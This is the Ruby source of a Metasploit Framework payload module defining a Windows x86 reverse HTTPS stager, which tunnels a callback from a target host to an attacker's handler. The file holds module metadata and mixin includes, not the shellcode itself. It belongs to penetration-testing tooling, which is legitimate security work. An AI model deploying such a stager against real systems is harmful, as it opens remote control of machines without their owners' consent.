##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 556
  CachedSizeOverrides = {"windows/custom/reverse_winhttps" => 570}

  include Msf::Payload::Stager
  include Msf::Payload::Windows
  include Msf::Payload::Windows::ReverseWinHttps

  def self.handler_type_alias
    'reverse_winhttps'
  end

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Windows Reverse HTTPS Stager (winhttp)',
        'Description' => 'Tunnel communication over HTTPS (Windows winhttp)',
        'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Handler' => Msf::Handler::ReverseHttps,
        'Convention' => 'sockedi https'
      )
    )
  end
end
